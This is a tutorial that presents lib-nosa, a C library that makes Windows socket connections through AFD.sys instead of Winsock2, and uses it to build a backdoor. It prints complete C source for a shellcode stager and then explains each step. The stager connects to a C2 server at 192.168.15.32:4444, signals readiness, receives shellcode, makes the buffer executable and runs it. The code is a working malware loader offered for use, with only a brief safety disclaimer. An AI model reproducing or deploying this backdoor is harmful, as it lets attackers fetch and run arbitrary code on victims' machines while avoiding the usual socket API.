Building Backdoors with Alternative Socket with lib-nosa (No Socket API)

Alternative implementation of winsock2 using AFD.sys for socket realization. Still improving!

lib-nosa is a minimalist C library designed to facilitate socket connections through AFD driver IOCTL operations on Windows. By bypassing the traditional winsock2.h -> (ws2_dll.dll) header, lib-nosa directly interacts with the internal socket APIs of the AFD (Ancillary Function Driver for WinSock), offering developers a lightweight and low-level alternative for network programming.

Created by ViperX Team

Repository: https://github.com/ViperXSecurity/lib-nosa

Features

  • Establishes socket connections directly through AFD driver IOCTL calls, bypassing the standard Winsock2 interface.

  • Focuses on simplicity and performance, with a small footprint and no unnecessary dependencies.

  • Provides direct access to internal socket APIs, giving developers fine-grained control over network operations.

  • Avoids the overhead and abstraction of the Winsock2 API, making it ideal for performance-critical applications.

Building a Simple Backdoor with lib-nosa

Creating a simple backdoor using the lib-nosa library. We'll explore the core functions provided by lib-nosa, understand their purposes, and see how they integrate to establish a connection, send and receive data, and execute received shellcode.

Overview

The backdoor's primary function is to connect to a Command and Control (C2) server, signal its readiness, receive a shellcode payload, and execute it. Here's the high-level flow:

  1. Establish Connection: Connect to the C2 server using the specified IP and port.

  2. Allocate Memory: Reserve memory to store the incoming shellcode.

  3. Signal Readiness: Inform the server that the client is ready to receive the shellcode.

  4. Receive Shellcode: Receive the shellcode from the server.

  5. Execute Shellcode: Change memory permissions to executable and run the shellcode.

  6. Cleanup: Release allocated resources.

Let's delve into each step, examining the code and the underlying lib-nosa APIs.

The Code

#include "nosa.h"

#define MAX_RECV_BYTES 4096  // Adjust this to a reasonable value based on expected shellcode size

/**
 * A simple backdoor that connects to a specified host and port, receives a shellcode binary,
 * allocates memory, writes the shellcode, and executes it.
 *
 * @returns 0 upon successful execution
 */
int main()
{
    HANDLE hSocket = NULL;
    NTSTATUS Status = 0;
    const char* socketType = "TCP";
    const char* host = "192.168.15.32";  // Command and Control (C2) server IP
    int port = 4444;                     // C2 server port

    SIZE_T totalBytesReceived = 0;
    LPVOID pktRecv = NULL;
    DWORD oldProtect;
    int (*func)();

    // Connect to the remote host
    Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
    if (Status != 0 || hSocket == NULL) {
        fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
        return 1;
    }
    printf("Connected to %s:%d\n", host, port);

    // Allocate a buffer for receiving the shellcode with read/write permissions
    pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pktRecv == NULL) {
        fprintf(stderr, "Failed to allocate memory for receiving data.\n");
        afd_close(hSocket);
        return 1;
    }
    memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory

    // Send a signal to the server that the client is ready to receive shellcode
    const char* readyMsg = "READY";
    Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
    if (Status != 0) {
        fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    // Receive the shellcode using nosa_recv API
    Status = nosa_recv(hSocket, pktRecv);
    if (Status <= 0) {  // Adjust based on the return value interpretation
        fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received

    // Change the memory protection to Read/Execute
    if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
        fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }

    // Execute the shellcode
    func = (int(*)())pktRecv;
    printf("Executing received shellcode...\n");
    func();

    // Clean up
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);

    return 0;
}

Code Run

Detailed Breakdown

1. Establishing a Connection

Function Used: nosa_connect

Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
if (Status != 0 || hSocket == NULL) {
    fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
    return 1;
}
printf("Connected to %s:%d\n", host, port);

nosa_connect Function

NTSTATUS nosa_connect(HANDLE* hSocket, char* host, int port, char* socketType)
  • Purpose: Establishes a connection to a specified host and port using the desired socket type (e.g., TCP or UDP).

  • Parameters:

    • hSocket: A pointer to a HANDLE where the function will store the created socket handle upon successful connection.

    • host: The target hostname or IP address.

    • port: The target port number.

    • socketType: The type of socket to use ("TCP" or "UDP").

  • Return Value: Returns an NTSTATUS code indicating success or failure.

Explanation:

  • The function initializes and creates a socket based on the provided socketType.

  • It resolves the host to an IP address, possibly using nosa_dns_lookup if a domain name is provided.

  • It then attempts to establish a connection to the specified host and port.

  • Upon success, it stores the socket handle in hSocket.

2. Allocating Memory

pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pktRecv == NULL) {
    fprintf(stderr, "Failed to allocate memory for receiving data.\n");
    afd_close(hSocket);
    return 1;
}
memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory

Explanation:

  • Uses the Windows API VirtualAlloc to reserve a memory region of size MAX_RECV_BYTES (4096 bytes in this case) with read/write permissions.

  • This memory will store the incoming shellcode.

  • memset ensures the allocated memory is zeroed out to prevent any residual data.

3. Signaling Readiness

Function Used: nosa_send

const char* readyMsg = "READY";
Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
if (Status != 0) {
    fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

nosa_send Function

NTSTATUS nosa_send(HANDLE* hSocket, LPVOID packet_data, int packet_data_sz)
  • Purpose: Sends data over an established socket connection.

  • Parameters:

    • hSocket: Pointer to the socket handle over which data will be sent.

    • packet_data: Pointer to the data buffer to be sent.

    • packet_data_sz: Size of the data buffer in bytes.

  • Return Value: Returns an NTSTATUS code indicating success or failure.

Explanation:

  • Sends the string "READY" to the server, indicating that the client is prepared to receive the shellcode.

  • Ensures that the entire message is sent successfully.

4. Receiving the Shellcode

Function Used: nosa_recv

Status = nosa_recv(hSocket, pktRecv);
if (Status <= 0) {
    fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received

nosa_recv Function

NTSTATUS nosa_recv(HANDLE hSocket, LPVOID packet_data_received)
  • Purpose: Receives data from an established socket connection.

  • Parameters:

    • hSocket: The socket handle from which data will be received.

    • packet_data_received: Pointer to the buffer where the received data will be stored.

  • Return Value: Returns the number of bytes received or an NTSTATUS code indicating an error.

Explanation:

  • Receives data from the server, which should be the shellcode payload.

  • Checks if the received byte count is greater than zero to ensure data was received successfully.

  • The received data is stored in the previously allocated pktRecv buffer.

5. Executing the Shellcode

if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
    fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}

// Execute the shellcode
func = (int(*)())pktRecv;
printf("Executing received shellcode...\n");
func();

Explanation:

  • Changing Memory Permissions: Uses VirtualProtect to modify the memory permissions of the pktRecv buffer, allowing it to be executable.

    • Changes from PAGE_READWRITE to PAGE_EXECUTE_READ.

    • Stores the old protection settings in oldProtect (useful for restoring later if needed).

  • Executing the Shellcode:

    • Casts the pktRecv buffer to a function pointer func.

    • Invokes func(), executing the shellcode.

Safety Note: Executing arbitrary shellcode can be extremely dangerous. Ensure that the shellcode is from a trusted source and that testing occurs in a controlled environment.

6. Cleanup

VirtualFree(pktRecv, 0, MEM_RELEASE);
afd_close(hSocket);

Explanation:

  • Memory Release: Frees the allocated memory for pktRecv using VirtualFree.

  • Socket Closure: Closes the established socket connection using afd_close.

Understanding Additional lib-nosa APIs

nosa_dns_lookup

NTSTATUS nosa_dns_lookup(HANDLE hSocket, const char* domain_name, DOMAIN_INFO* outBuffer)
  • Purpose: Resolves a domain name to its corresponding IP address.

  • Parameters:

    • hSocket: A socket handle used for the DNS query.

    • domain_name: The domain name to resolve (e.g., "example.com").

    • outBuffer: A pointer to a DOMAIN_INFO structure where the resolved IP address and related information will be stored.

  • Return Value: Returns an NTSTATUS code indicating success or failure.

Explanation:

  • This function is essential when the host parameter in nosa_connect is provided as a domain name rather than an IP address.

  • It performs a DNS lookup to retrieve the IP address associated with the given domain.

  • The resolved information is stored in the outBuffer, which can then be used for establishing connections.

afd_close

While not explicitly defined in the provided context, afd_close appears to be a function responsible for closing the socket handle.

Assumed Function Signature:

void afd_close(HANDLE hSocket)
  • Purpose: Closes an established socket connection.

  • Parameters:

    • hSocket: The socket handle to be closed.

  • Explanation: Ensures that the socket resources are properly released, preventing resource leaks.

Last updated